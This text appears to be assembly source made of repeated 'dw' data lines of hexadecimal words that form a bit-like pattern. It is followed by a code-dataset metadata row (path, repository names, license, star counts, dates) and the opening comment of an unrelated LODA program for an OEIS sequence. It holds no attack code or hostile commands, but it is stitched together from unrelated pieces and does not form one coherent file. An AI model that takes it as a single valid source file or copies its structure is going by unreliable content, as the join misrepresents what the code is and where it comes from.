0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
| 213.275542 | 643 | 0.730301 |
ed19683f2ae9c02ed300e2dd4fe5aa213a442b7f | 762 | asm | Assembly | oeis/183/A183627.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/183/A183627.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/183/A183627.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A183627: Number of (n+1) X 5 0..2 arrays with every 2 x 2 subblock summing to 4.
